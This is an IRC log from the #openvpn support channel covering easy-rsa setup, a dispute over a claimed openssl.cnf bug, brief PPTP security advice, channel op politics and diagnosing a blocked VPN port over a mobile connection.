15:21 <+pekster> The cnf file is provided as part of easyrsa
15:21 <+pekster> If you simply extgract the tarball it all "just works" unless you took steps to break it
15:21 < ludde> hmm with openvpn I get 275Mbits/sec (according to iperf) between two FreeBSD computers, but with my home made VPN solution I get 803Mbits/sec!
15:21 <+pekster> Beanie: Read the yum repo info: https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos
15:22 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
15:22 <+pekster> Then go learn how to use your distro and/or rpmforge properly
15:22 <@WilmaF> yes but not in the right place by default
15:22 <+pekster> #centos can probably help you learn to set up rpmforge or compile if that's what you want
15:22 <+pekster> WilmaF: That's "just fine".. distros tend to install easyrsa to dumb places like /etc/easyrsa encouraging users to do the PKI as root, which is a Bad Thing
15:23 <@WilmaF> even windows screws up openssl.cnf
15:23 <+pekster> What on earth are you smoking?
15:23 <+pekster> 1) download zip 2) extract zip 3) run scripts
15:23 < Beanie> pekster - so just to confirm (and please dont take any of my humour personally - i do actually love linux but i think it wants to divorce me and its making life difficult - you know how evil she can be - im coughing up tarballs for crying out loud) 1) I want to make sure im installing an Easy RSA version that you trust and from a place you guys trust (I trust you)
15:23 <+pekster> It ships _with_ openssl.cnf WilmaF. It works with NO changes to it
15:24 <+pekster> Windows screws up nothing here. It's a file, and it gets extracted as part of the zip. FUD is not helpful
15:24 < Beanie> 2) to avoid any other problems coming out the woodwork
15:24 <+pekster> Beanie: FFS, use the damn URL I gave you
15:24 <+pekster> https://github.com/OpenVPN/easy-rsa/releases
15:24 <@vpnHelper> Title: Releases · OpenVPN/easy-rsa · GitHub (at github.com)
15:24 <+pekster> It's got gpg signatures you can verify if you would like
15:24 <+pekster> I have no clue what's so hard to understand about this
15:25 < Beanie> pekster - thanks i heard you before re easy rsa
15:25 < Beanie> i best make a note of the link actually - its openvpn sorry that i want to make sure i get the right version of
15:25 < Beanie> i typed wrong
15:25 <@WilmaF> @pekster - openssl seems to have a hardcoded location for openssl.cnf in both windows and ubuntu
15:26 <+pekster> WilmaF: Nope wrong again. it v2 uses `whichopensslcnf` to determine the location
15:26 < Beanie> with the link https://community.openvpn.net/openvpn/wiki/OpenvpnSoftwareRepos there is no listing for CentOS/Redhat
15:26 <@vpnHelper> Title: OpenvpnSoftwareRepos – OpenVPN Community (at community.openvpn.net)
15:26 <+pekster> Yes. If you read the page you'll learn why
15:27 <+pekster> !101
15:27 <@vpnHelper> "101" is This channel is not a '101' replacement for any of the following topics or others: Networking, Firewalls, Routing, Your OS, Security, etc etc
15:27 <@WilmaF> and i instsalled that on 6 ubuntu servers everytime it cannot find it until you rename the file and put it in /
15:27 <+pekster> WilmaF: Then you have screwed up
15:27 <@WilmaF> the distro does not ship with a file called openssl.cnf
15:27 <+pekster> IT DOESN'T NEED TO
15:28 <+pekster> You're plain wrong becuase I've used easyrsa v2 extracted directly from the release tarballs on Ubuntu server (11.x, 12.04, and 13.10) and it works fine
15:28 <+pekster> You have scerwed up, and insisting that you're right doesn' tmake it so
15:28 <+pekster> It's also completley unhelpful to users to spread that crap around
15:28 < Beanie> Pekster and others - thanks from the bottom of my heart - i'll try and get a bit of guidance from CentOS room on this because there is a bit of a cross over in what you and they cover :)
15:29 -!- dandyd [~dandysyni@cpe-65-185-188-104.woh.res.rr.com] has joined #openvpn
15:30 <+pekster> Beanie: as non-root: `cd && wget 'https://github.com/OpenVPN/easy-rsa/releases/download/2.2.2/EasyRSA-2.2.2.tgz' && tar xzf EasyRSA-2.2.2.tgz && cd EasyRSA-2.2.2 && ./clean-all && echo "look, I have a working easyrsa"`
15:30 -!- dandyd [~dandysyni@cpe-65-185-188-104.woh.res.rr.com] has quit [Client Quit]
15:30 <+pekster> Basically exactly what I told you above
15:31 <+pekster> If you want openvpn of a sane version, that's a downstream packaging issues unless you're building from source. The source tarball is quite clear on build requirements, and rpmforge is where you go for "non-ancient" copies of programs that RHEL doesn't (yet) support
15:32 -!- [1]JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has joined #openvpn
15:32 -!- eliasp_ [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has joined #openvpn
15:33 <+pekster> WilmaF: If you want usful help, you need to do what normal users do and describe 1) what you've done 2) show the output 3) explain the expected result
15:33 -!- DEREK| [~me@djh.pw] has joined #openvpn
15:33 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has quit [Ping timeout: 252 seconds]
15:33 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has quit [Ping timeout: 252 seconds]
15:33 -!- Martin` [martin@shell.ipv6.octocore.net] has quit [Ping timeout: 252 seconds]
15:33 -!- [Derek] [~me@unaffiliated/derek/x-8562683] has quit [Ping timeout: 252 seconds]
15:33 -!- cali [~cali@unaffiliated/cali] has quit [Ping timeout: 252 seconds]
15:33 -!- bantu [~quassel@phpbb/developer/bantu] has quit [Ping timeout: 252 seconds]
15:33 -!- haasn [~nand@2a01:4f8:d13:5245::2] has quit [Ping timeout: 252 seconds]
15:33 -!- corretico [~luis@190.241.180.58] has quit [Ping timeout: 252 seconds]
15:33 -!- CookieNinja [carrot@unaffiliated/tommehm] has quit [Ping timeout: 252 seconds]
15:33 -!- eliasp [~quassel@HSI-KBW-134-3-243-224.hsi14.kabel-badenwuerttemberg.de] has quit [Ping timeout: 252 seconds]
15:33 <+pekster> This "OMG it's busted on 6 systems and I had to do $dumb_thing to fix it" is just not helpful. This isn't the first time you've gone on like this which is why I'm being slightly harder on you for it
15:34 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has quit [Ping timeout: 252 seconds]
15:34 -!- bjonnh [~Bjonnh@unaffiliated/bjonnh] has quit [Ping timeout: 252 seconds]
15:34 -!- Fiouz [~Fiouz@2001:bc8:3068::dead:beef] has joined #openvpn
15:34 -!- JPeterson [~JPeterson@81-233-152-121-no83.tbcn.telia.com] has quit [Ping timeout: 252 seconds]
15:34 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has quit [Ping timeout: 252 seconds]
15:34 -!- Fira [artix@unaffiliated/fira] has quit [Ping timeout: 252 seconds]
15:35 -!- Martin` [martin@shell.ipv6.octocore.net] has joined #openvpn
15:35 -!- CookieNinja [carrot@unaffiliated/tommehm] has joined #openvpn
15:35 <+pekster> If there _is_ a problem, first determine if it's a legit problem with the upstream (our) code or a downstream packaging issue. If it's a problem in the code the openvpn team produces and you can verify that (here or otherwise) then the proper thing to do is open a bugreport with a clear description of the problem
15:35 -!- corretico [~luis@190.241.180.58] has joined #openvpn
15:35 -!- BtbN [znc@btbn.de] has quit [Ping timeout: 252 seconds]
15:35 <+pekster> If it's a downstream problem with the package that $distro provides (and not ours) go file the bug on their tracker
15:35 -!- XJR-9 [sid2977@pdpc/supporter/active/xjr-9] has joined #openvpn
15:36 -!- Nothing4You [N4Y@Nothing4You.w.tf-w.tf] has joined #openvpn
15:36 -!- bjonnh [~Bjonnh@unaffiliated/bjonnh] has joined #openvpn
15:36 -!- cali [~cali@unaffiliated/cali] has joined #openvpn
15:36 -!- manitu [~manitu@static.88-198-15-112.clients.your-server.de] has joined #openvpn
15:37 -!- haasn [~nand@2a01:4f8:d13:5245::2] has joined #openvpn
15:37 -!- Fira [artix@unaffiliated/fira] has joined #openvpn
15:38 -!- bantu [~quassel@phpbb/developer/bantu] has joined #openvpn
15:38 -!- BtbN [znc@btbn.de] has joined #openvpn
15:38 -!- Matviy [Matviy@c-71-198-200-122.hsd1.ca.comcast.net] has joined #openvpn
15:46 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has quit [Remote host closed the connection]
15:46 < Beanie> hey Pekster, I've just remembered what the conflict problem was
15:47 < Beanie> i dont think easy rsa worked well with the latest openvpn
15:47 < Beanie> in fact i think it refused to work
15:50 -!- spirit_ [~spirit@41.190.88.200] has quit [Ping timeout: 245 seconds]
15:51 < Beanie> Pekster - does it ring any bells as there being something I did wrong
15:51 <+pekster> No
15:51 <+pekster> !crystsal
15:51 <+pekster> !crystal
15:51 <@vpnHelper> "crystal" is Our crystal ball is out of service. Try explaining your !goal, a description of your problem, and relevant !configs and !logs. See also: !welcome.
15:52 <+pekster> Go _READ_ those !things and give us useful log/config output if you want help
15:52 <+pekster> If you don't, you can't get useful help
15:52 <+pekster> /TOPIC is also quite relevant here
15:52 <+pekster> Maybe:
15:52 <+pekster> !new
15:52 <@vpnHelper> "new" is New here? Start by reading the /TOPIC and looking at basic info in !welcome, !ask, and !howto
15:52 <+pekster> I'm sick of telling you to provide useful info
15:52 <+pekster> "It's busted. I refuse to tell you why, but do you know why?" No, obviously not
15:54 <@WilmaF> pekster: i apologies for causing you stress about off-topic things - It is not my intention
15:54 < rob0> For that matter, easy-rsa is not even required. You can generate your x509 certificates however you want.
15:55 <+pekster> WilmaF: It's not off-topic if there's a bug. You have a bad habbit of claiming "the sky is falling: X is busted" and then turning out to be qutie wrong
15:55 <+pekster> Being wrong isn't a problem: walking around with @ and telling users such things is not really so helpful in context
15:56 <+pekster> WilmaF: Can you demonstrate how the easyrsa release tarball doesn't work? Do you have a minimal reproduction process to follow?
15:57 <+pekster> In other words: http://catb.org/~esr/faqs/smart-questions.html#symptoms
15:57 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
16:00 <@WilmaF> Pekster: so far I have explained one odd problem I discovered in Juniper OS (totally off topic never to be mentioned again) and this openssl.cnf discussion was simply meant as a suggestion to Beanie as something he was trying to remember (not intended as an argument) It is something I have had personal experience of on every install I have made and used easy-rsa on.  You are right, I should bring it to the easy-rsa
16:00 <@WilmaF>  dev attention.  Like I said: my apologies for annoying you it was not intended and I shall watch what I say.
16:01 <+pekster> Neeidng to "copy openssl.cnf to /" is almost surely operator error
16:01 <+pekster> That sounds completely and utterly bogus, but I'm happy to entertain the possibility of a bug, _with_ a proper bugreport
16:01 <@WilmaF> can you offer me support on easy-rsa ? is this the right channel ?
16:02 < sudomakemesandwi> what is better vpn, openvpn or pptp vpn?
16:02 <+pekster> Only if you can follow http://catb.org/~esr/faqs/smart-questions.html#symptoms
16:02 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
16:02 <+pekster> WilmaF: & read the URL. Then provide a report of the problem/symptoms you see. Then you might get support
16:02 < rob0> easy-rsa is certainly on topic here, but I personally do not use it.
16:02 <+pekster> See also:
16:02 <+pekster> !ask
16:02 <@vpnHelper> "ask" is (#1) don't ask to ask, just ask your question please, see this link for how to get help on IRC: http://workaround.org/getting-help-on-irc or (#2) See also, How to ask questions the smart way here: http://catb.org/~esr/faqs/smart-questions.html
16:02 < rob0> !pptp
16:02 <@vpnHelper> "pptp" is (#1) PPTP is known to be a faulty protocol. The designers of the protocol, Microsoft, recommend not to use it due to the inherent risks. Lots of people use PPTP anyway due to ease of use, but that doesn't mean it is any less hazardous. The maintainers of PPTP Client and Poptop recommend using OpenVPN (SSL based) or IPSec instead. http://pptpclient.sourceforge.net/protocol-
16:02 <@vpnHelper> security.phtml to read about why to not use pptp or (#2) Why not to use it: http://en.wikipedia.org/wiki/Pptp#Security or (#3) https://www.cloudcracker.com/blog/2012/07/29/cracking-ms-chap-v2/ or (#4) NB: cracking PPTP is easy: https://www.cloudcracker.com/
16:04 < sudomakemesandwi> i thoughts as much, but it is possible to create a rogue pptp server in mtm which will accept any credentials and allow user to connect and communicate without suscpecion, besides the obvious
16:05 <+pekster> Not really in realtime, no; MS-CHAPv2 is cryptographically broken, but not hackable in realtime
16:06 < sudomakemesandwi> ah okay, thank your for that clarification
16:06 <+pekster> Either way, avoid pptp unless you either can't or are willing to accept the security risks. OpenVPN provides a high level of security when used properly
16:07 < sudomakemesandwi> hmm, openvpn can also be unsecure?
16:07 < sudomakemesandwi> as long as certificate it kept private, right?
16:07 < sudomakemesandwi> what about ad type pptp authentication?
16:08 <+pekster> "AD" isn't an auth type; pptp is largely off-topic here
16:08 <+pekster> MS-CHAPv2 is usually what pptp uses, and it's completely and utterly broken (read URLs above)
16:08 <+pekster> PEAP-TLS is another option, but that's rarely used with pptp. "MS AD" is possibly used as an authentication backend, but by itself it is _not_ a form of authentication
16:09 <+pekster> You can have openvpn auth against MS AD by way of RADIUS or LDAP too
16:10 <@WilmaF> very well - on the default install of openvpn on ubuntu1204 i get openvpn221 and easy-rsa20 - when I run whichopensslcnf I get the following error :
16:10 <@WilmaF> root@test1:/usr/share/doc/openvpn/examples/easy-rsa/2.0# ./whichopensslcnf
16:10 <@WilmaF> **************************************************************
16:10 <@WilmaF>   No /openssl.cnf file could be found
16:10 <@WilmaF>   Further invocations will fail
16:10 <@WilmaF> **************************************************************
16:10 < sudomakemesandwi> that's the 3 way handshake? via tls?
16:12 <+pekster> You've clearly used the distro installation
16:12 <+pekster> Please verify the bug exists in _upstream_ by using the _upstream_ packaging
16:12 <+pekster> (you know, like I told you above)
16:12 <+pekster> If it's an ubuntu problem, go report it in launchpad
16:13 <+pekster> /usr/share/doc/openvpn/examples is not where you should run easyrsa from
16:13 <+pekster> Further, using as root is highly not recommended
16:13 <@WilmaF> placing a copy of openssl.cnf in/ resolved the problem completely
16:13 <+pekster> You're not listening
16:14 <+pekster> WilmaF: Also, you cannot "just" call whichopensslcnf like that
16:14 < sudomakemesandwi> and why is ipsec praised so often in the m$ world? isn't openvpn encryption also considered ipsec?
16:14 <@WilmaF> please tell me what it is i should be hearing
16:14 <+pekster> Yes, that is expected to fail
16:14 <+pekster> WilmaF: Are you deaf or just trolling?
16:14 <+pekster> Go use OUR copy of easyrsa
16:14 <+pekster> Not "ubuntu's default"
16:15 <+pekster> https://github.com/OpenVPN/easy-rsa/releases
16:15 <@vpnHelper> Title: Releases · OpenVPN/easy-rsa · GitHub (at github.com)
16:15 <+pekster> And learn2read
16:16 < rob0> BTW you really should not run easy-rsa as root.
16:16 < rob0> oh, pekster covered that alreayd, of course
16:16 <+pekster> At this point I don't know why I'm trying becuase OP can't read for shit
16:17 <+pekster> 45 minutes ago I posted a lovely detailed way to figure out what the problem is and we've made zero progress
16:18 <@WilmaF> sorry - i am trying to catch up
16:23 <+pekster> Beanie: I just verified that a stock extract of the v2.2.2 easyrsa tarball works fine with openvpn 2.3.2
16:24 <+pekster> As usual, post _useful_ details if you expect any help
16:28 <@WilmaF> OK - I have EasyRSA-2.2.2 on ubuntu1204 - where should I put the easy-rsa please ?
16:29 <+pekster> "put" it?
16:29 <+pekster> It's a tarball
16:29 < rob0> Extract it somewhere under your $HOME directory.
16:30 <@WilmaF> i have extracted it to /root/EasyRSA-2.2.2
16:30 <+pekster> Bad idea. Don't use easyrsa as root
16:30 < rob0> sudo, "ipsec" is a standard. OpenVPN is not ipsec.
16:30 < rob0> < rob0> BTW you really should not run easy-rsa as root. < rob0> oh, pekster covered that already, of course
16:31 <@WilmaF> this is a hidden test server - and It is not my decision to run as root
16:31 <+pekster> Dunno why you need to be told things 3 or more times to get them; that suggests you're doing a really bad job of reading
16:31 <+pekster> Well, it'll work as root too; just not recommended
16:31 <+pekster> So sure, run everything as root! why not..
16:31 < rob0> you don't have a non-root account?
16:32 < rob0> In that case I'd make an easyrsa user and su to it.
16:32 <@WilmaF> i could make an account but i have been given this server as is to perform this task - i understand why i should not run as root but the decision was not mine to make
16:32 <+pekster> ..
16:32 <+pekster> wow. Just.. wow.
16:32 < rob0> The decision was not well considered.
16:33 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 252 seconds]
16:33 <@WilmaF> its a big wide world
16:33 <+pekster> "Oh, you want me to watch your kids? Sure, they can go play with the loaded weapons in my basement!"
16:33 < rob0> Also, you really need to have better grounding in basic Unix before you are a sysadmin / consultant.
16:33 <@WilmaF> ok so basically running easy-rsa is not a problem - the only issue I have is "detecting" openssl.cnf
16:34 <+pekster> WilmaF: So, stop. You have an extracted easyrsa tarball in a new, clean directory, right
16:34 <@WilmaF> yes
16:34 <+pekster> cd into the dir, then run `. ./vars` then `./clean-all` and `./build-ca`
16:34 <@WilmaF> ok - 5 mins to do so
16:36 <@WilmaF> ok - running with all defaults
16:36 <+pekster> If those commands geneated a CA for you without error, then it's working fine
16:37 <+pekster> Any further issues doing that with "ubuntu" crap is a downstream problem. Go report it to them if you want it fixed
16:37 <+pekster> https://bugs.launchpad.net/ubuntu
16:37 <@vpnHelper> Title: Bugs : Ubuntu (at bugs.launchpad.net)
16:37 < rob0> Ubugstu
16:37 <+pekster> Telling our project's users that "easyrsa is broken" is really unhelpful
16:38 <+pekster> It's also very irrisponsible of you to claim so and not have put any effort into filing a bugreport
16:38 <+pekster> irresponsible*
16:38 < rob0> And doing so with an op hat ... yikes.
16:41 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has joined #openvpn
16:45 <@WilmaF> ok - that worked first time
16:46 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has quit [Remote host closed the connection]
16:50 <@WilmaF> I never said easy-rsa was broken - i simply made the suggestion to Beanie as he was trying to remember a problem he had before with easy-rsa
16:51 <@WilmaF> However, thanks for your help with my problem aswel
16:51 < sudomakemesandwi> :) all's well that ends well. i always say
16:52 <@WilmaF> i hope so .. i never meant to stress anybody out
16:52 <+pekster> bullshit WilmaF
16:52 <+pekster> http://fpaste.org/54676/47287251/
16:52 <+pekster> You've very clearly indicated that this is an easy-rsa problem
16:52 <@WilmaF> that was a subsequent comment to my original point of "openssl.cnf perhaps"
16:53 <@WilmaF> meant as a suggestion only
16:54 <@WilmaF> i then went on to explain my own experience ..
16:54 <+pekster> You're clueless
16:54 <+pekster> I'm bloody fed up with you walking around with op status and passing your idiotic answers onto unsuspecting users that assume becuase you're a channel op you presumably know what you're talking about
16:55 -!- acu [~acu@107.128.131.129] has joined #openvpn
16:55 -!- WilmaF [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
16:55 < rob0> that solved that!
16:56 <+pekster> Why on earth does someone that clueless get auto-op status :(
16:56 <+pekster> So stupid
16:56 -!- WilmaF [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
16:56 < rob0> Personally I don't think auto-op is a good idea in any case. When they made me op here I specifically asked NOT to be auto-op.
16:57 < WilmaF> i only asked about +v from krzee - ecrist appointed me +O - i did not ask for it and I am happy to relinquish it
16:57 < sudomakemesandwi> does it matter? i mean what if he/she is sibling of another person who trusts this person to regulate the forum against terrorists
16:57 -!- mode/#openvpn [+v rob0] by ChanServ
16:57 < WilmaF> infact - i would prefer to relinquish it in order to keep the peace
16:58 -!- mode/#openvpn [-o plaisthos] by plaisthos
16:58 <+pekster> Yes, auto-op is actually against Freenode's "stern recommendations" at http://freenode.net/channel_guidelines.shtml
16:58 <@vpnHelper> Title: freenode philosophy: channel guidelines (at freenode.net)
16:58 <+rob0> You can always de-op yourself, either in channel or through chancerv.
16:58 <+rob0> *chanserv
16:58 < WilmaF> ok - will do
16:58 < sudomakemesandwi> power wars. so typical of irc :)
16:58 < WilmaF> and i am very sorry for causing such unrest
16:59 <+pekster> And please, if you think there's a problem, try and bring it up in the approprate time/place than passing your "guesses" as to problems onto users
16:59 <+rob0> but indeed, if there is someone disruptive in channel, please do not hesitate to silence or ban them.
16:59 <+pekster> Sure, of course, please use admin powers responsibly where there is an issue like spam, trolling, or the like
16:59 <+rob0> power wars?
17:00 < WilmaF> my intention has never been to cause any problems and i accpet that i may have accidentally stepped on some toes - I am going to permanently deop asap
17:00 -!- rob0 was kicked from #openvpn by EugeneKay [OP WARS!]
17:00 < Moonlightning> …
17:00 -!- rob0 [rob0@pdpc/valentine/postfixninja/rob0] has joined #openvpn
17:00 < rob0> haha
17:01 -!- WilmaF is now known as debbie10t
17:01 <+pekster> Well, I don't have any auto-perms on channel entry; I'll often add +v, but I'll only op when there's an issue requriing admin rights; think of +o like sudo
17:01 -!- mode/#openvpn [+o debbie10t] by ChanServ
17:01 <@EugeneKay> I'm usually just too lazy to take it off
17:01 <+pekster> You don't just do everything as "root" on your box, and you shouldn't just do everything as +o in a channel either
17:01 < rob0> EugeneKay, Eusuck!
17:01 <@EugeneKay> pekster - Don't tell me how to run my box >_>
17:01 < Moonlightning> Can I have my OpenVPN server bind to multiple ports? My service provider seems to be blocking port 1194.
17:02 <@EugeneKay> A single `openvpn` instance binds to one port:proto, but iptables has nat ;-)
17:02 < rob0> Moonlightning, hmmm, China? Iran?
17:02 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has left #openvpn []
17:02 < Moonlightning> rob0: United States, T-Mobile
17:02 < rob0> How did you determine that it was being blocked?
17:03 < sudomakemesandwi> Moonlightning: o'really? I set default to different port right away to sway against attackers. so i didn';t even see that
17:03 < acu> Hello - when I prepare the config for a New VPN client for a OpenVPN server = do I need to push a route ? what does it do ? It seem is optional though ?
17:03 < Moonlightning> rob0: openvpn works over Wi-Fi; I can browse the Web over cell data; openvpn doesn't work over cell data.
17:03 < sudomakemesandwi> ALso, I did a few port scans and I noticed nmap did not pick up on openvpn port being open. Is this normal?
17:04 -ChanServ:#openvpn- debbie10t (m10t) set flags -O on m10t.
17:04 < rob0> nmap can't tell if a UDP port is open, right.
17:04 -!- debbie10t [~ma1com10t@host-92-20-11-49.as13285.net] has joined #openvpn
17:04 < debbie10t> done
17:04 < sudomakemesandwi> that is sweet! not that it would be exploitable in either case, but still...
17:05 < acu> shout the protocol be udp ?
17:05 -!- Matviy [Matviy@c-71-198-200-122.hsd1.ca.comcast.net] has quit []
17:05 < sudomakemesandwi> udp is faster
17:06 < sudomakemesandwi> tcp = connection oriented, udp = connectionless
17:06 <+pekster> debbie10t: Thanks. And do please try to understand that the core issue is giving consistently bad information to users. It's "extra bad" when you do that as op, but the FOSS community works by _sharing_ details of problems, not keeping your "6 misconfigured ubuntu servers" to yourself and then saying that you "should bring it to the easy-rsa dev attention" -- I'm part of the development team here, and I _want_ to know if things are ...
17:06 <+pekster> ... broken
17:06 <+pekster> The developer team can't fix problems that aren't reported
17:06 -!- michaelhart [~michaelha@162.209.54.120] has joined #openvpn
17:06 < debbie10t> pekster: please accept my apologies for any undue stress I caused you - it was never my intention
17:07 <+pekster> I don't want an apology; what I want is for you to deamonstrate the ability to learn and improve
17:07 < debbie10t> well - I am maybe just not at the rate you expect
17:08 < debbie10t> ok - i am done with this - expect my silence unless i have a problem i cannot fix myself
17:08 < debbie10t> and thanks for your help
17:08 <+pekster> That might be a bit extreme; please do feel free to contribute in a helpful way that beneifts the community
17:08 < debbie10t> i will try
17:08  * sudomakemesandwi i now pronounce you pekster and you debbie10t irc ~=neutral
17:09  * debbie10t hopes the balance of power is restored
17:10 -!- sudomakemesandwi is now known as Vodka
17:10 < rob0> Anyway, there was no "power war" here. It's not about "power", it is about providing accurate information.
17:10 -!- Vodka is now known as Vodka_Man_87
17:10 < Moonlightning> EugeneKay: I can redirect a port with iptables?
17:10 < rob0> And about EugeneKay.
17:10 <+pekster> Exactly. I don't "really" care who walks around with op here (we don't really adhere to Freenode's policy) but I _do_ care when our users get bad info
17:10 <+pekster> Well, it's always about EugeneKay ;)
17:10 <+pekster> !EugeneKay
17:10 <@vpnHelper> "EugeneKay" is right because EugeneKay is always right.
17:11 <@EugeneKay> Moonlightning - yup; DNAT target in the nat table
17:11 < Vodka_Man_87> see rule #1 EugeneKay is always right, rule #2 see rule #1
17:11 < Moonlightning> wha?
17:12 <@EugeneKay> !iptables
17:12 <@vpnHelper> "iptables" is (#1) To test if netfilter ("iptables rules") are your problem, disable all rules with an ACCEPT policy. See https://github.com/QueuingKoala/netfilter-samples/tree/master/reset-rules for a script to do this. or (#2) See also the manpage section on firewalls at this link: https://community.openvpn.net/openvpn/wiki/Openvpn23ManPage#lbBG or (#3) These are just the basics to
17:12 <@vpnHelper> get you started as firewall design is beyond this channel's scope; you can also see #netfilter
17:12 <@EugeneKay> #3 ^
17:12 < Moonlightning> Okay, thanks. ^^
17:12 < rob0> I suspect that problem has been misdiagnosed, Moonlightning ... you can DNAT as many ports as you like, but it will not fix the problem, most likely.
17:13 < rob0> I can't imagine why a US ISP would block openvpn unless they thought they could charge more for it.
17:13 < Moonlightning> rob0: okay. How do I troubleshoot this?
17:13 < Moonlightning> http://support.t-mobile.com/thread/45652
17:13 <@vpnHelper> Title: What outbound IP ports are open | T-Mobile Support (at support.t-mobile.com)
17:13 < rob0> oh, your SERVER is on t-mobile?
17:14 < Moonlightning> My client is on T-Mobile.
17:14 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 240 seconds]
17:14 < Moonlightning> My server is a regular VPS host. I can connect just fine over Wi-Fi.
17:14 <+pekster> Try a port-based traceroute utility; can you tether to a PC behind your phone?
17:14 <+pekster> (otherwise you're stuck with whatever tools you have on the phone, which tends to be much more limited/restrictive)
17:15 < rob0> oh, same phone, using SNATed wifi, connects to your server?
17:15 < Moonlightning> Ahh…I can set up a “mobile hotspot” and connect my other laptop to it?
17:15 <+pekster> Yea, if you have that support. What that lets you do is run f.ex an nmap with the --trace flag to the specific port you're trying to see if you have access to send to
17:16 <+pekster> To use it, you will generally pick the target protocol and port. Something like this, for example: `nmap -PN -sU -p 1194 --trace 203.0.113.7` (use your server's IP)
17:16 <+pekster> You won't get a reply from the server, but the remaining hops "should" all respond with TTL expired ICMP errors
17:17 < Moonlightning> Oookay.
17:17 < debbie10t> Actually - I just want to let you know - I found the whole idea of being op rather intimidating and maybe that is why I stopped asking questions as I did not want to appear stupid - ironically I made it worce by not admitting my ignorance.
17:17 <+pekster> Lack of information is why we're all here (yes, even the experts. I'm here to learn as much as anyone)
17:18 <+pekster> Just remember; there's a reason I don't auto-op ;)
17:18 < debbie10t> cheers pekster :)
17:18 < debbie10t> and eveyone else ;)
17:19 < rob0> awesome
17:19 <+pekster> debbie10t: Here's a great read, by the way: http://lifehacker.com/5910993/i-dont-know-is-one-of-the-smartest-things-you-can-say
17:20 -!- duoi [~duoi@46.21.151.107] has joined #openvpn
17:21 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has joined #openvpn
17:21 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn
17:21 -!- mode/#openvpn [+v s7r] by ChanServ
17:22 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has quit [Remote host closed the connection]
17:24 < debbie10t> ha .. i fell foul of my own stupidity ;)
17:25 <+pekster> Oh, more useful resources for you debbie10t, under "How to answer questions in a helpful way" http://catb.org/~esr/faqs/smart-questions.html#idp5285344
17:25 <@vpnHelper> Title: How To Ask Questions The Smart Way (at catb.org)
17:26 <+pekster> In fact, that entire document is worth a read when you have the time, and using the table of contents links you can often encourage people asking questions to give better information or ask smarter questions
17:26 <+pekster> (this is why we link to it in !ask)
17:29 < debbie10t> i have read some of it before but i think i need a refresher - thanks
17:31 < Moonlightning> Okay, I guess I'm tethered here.
17:32 < Moonlightning> > inet addr:192.168.43.144
17:32 <+pekster> Moonlightning: Well, don't guess; verify :). A tracepath/tracepath to something like google, 8.8.8.8, or kernel.org should go via your phone's IP path now
17:32 < Moonlightning> Oh, derp.
17:33 <+pekster> When you've verified that, then try that nmap trace (or use your favourite traceroute utility if you prefer) to see how "far" packets get when you send to udp port 1194
17:33 < Moonlightning> Getting lots of unavailable things here 6_9
17:33 < Moonlightning> But it goes via 192.168.43.1, and I haven't intentionally configured anything like that.
17:33 < Moonlightning> …actually, that's the ONLY thing that shows up in traceroute
17:33 <+pekster> Right, usualy the phone will give your tethered PC an RFC1918 address
17:33 < Moonlightning> as I saw in ifconfig
17:34 <+pekster> does `tracepath kernel.org` get further?
17:35 < Moonlightning> 192.168.43.144, 192.168.43.1, no reply, no reply
17:35 < Moonlightning> Doesn't look like that
17:35 < Moonlightning> Everything after that is 'no reply'
17:36 <+pekster> Yet you can ping kernel.org?
17:36 < Moonlightning> I can't seem to ping /anything/ from my laptop
17:36 < Moonlightning> though my phone's still pinging my server by IP completely fine
17:36 <+pekster> Does the PC have a default route through your tethering?
17:37 <+pekster> `ip r` if you're on Linux; look for the default route
17:37 < Moonlightning> Yep
17:37 < Moonlightning> default via *.1
17:37 <+pekster> Well, routing is fine on the PC then. Maybe this is one of those plans where you need to "pay" for the ability to tether? Some companies like to do that to "customers"
17:38 < Moonlightning> Oh.
17:38 < Moonlightning> Quite possibly :/
17:38 <+pekster> You should be able to do something as simple as a ping to kernel.org, google.com, or 8.8.8.8 for instance
17:38 <+pekster> If that's the case, you're "stuck" with whatever tracing tools your phone has builtin. Maybe play with commands like tracepath and traceroute to see what features they offer
17:39 <+pekster> At any rate, what you need to do is send an outbound trace with incrementing TTLs to the destination port your service is running on, or that you'd like your service to run on
17:39 < Moonlightning> I don't have traceroute or tracepath >.<
17:39 -!- nofks [~nofks@CPE-65-31-252-65.new.res.rr.com] has joined #openvpn
17:40 <+pekster> Not a whole lot you can do on that point then. I suppose you could just try changing the port in your client config and tcpdump on your server or something and watch for the traffic; if you see some arrive, you know it got to you
17:41  * Moonlightning goes and finds an…/app/ >.<
17:42 < Moonlightning> …what…
17:42 <+pekster> fwiw, my rather outdated CM7 (Cyanogen Mod 7, several revisions behind by now) has a traceroute program that's available through busybox
17:42 < Moonlightning> are 255/8 IPs even valid?
17:43 <+pekster> You mean a.b.c.255? Depends on netmask
17:43 <+pekster> (and network topology)
17:43 < Moonlightning> No, 255.*.*.*
17:43 < alisonc> Moonlightning: they're multicast
17:43 < Moonlightning> 255.0.0.0, 255.0.0.1, 255.0.0.2, *
17:43 <+pekster> No, 240/4 is the unused "Class E" IP space; 224/4 is multicast
17:44 < alisonc> 224.0.0.0/3 was multicast, I thought.
17:44 < Moonlightning> well, I got a traceroute from my phone to 8.8.8.8
17:44 <+pekster> alisonc: I could be mistaken, but AFAIK 240/4 is still unused; Windows straight-up refuses to use it at all even
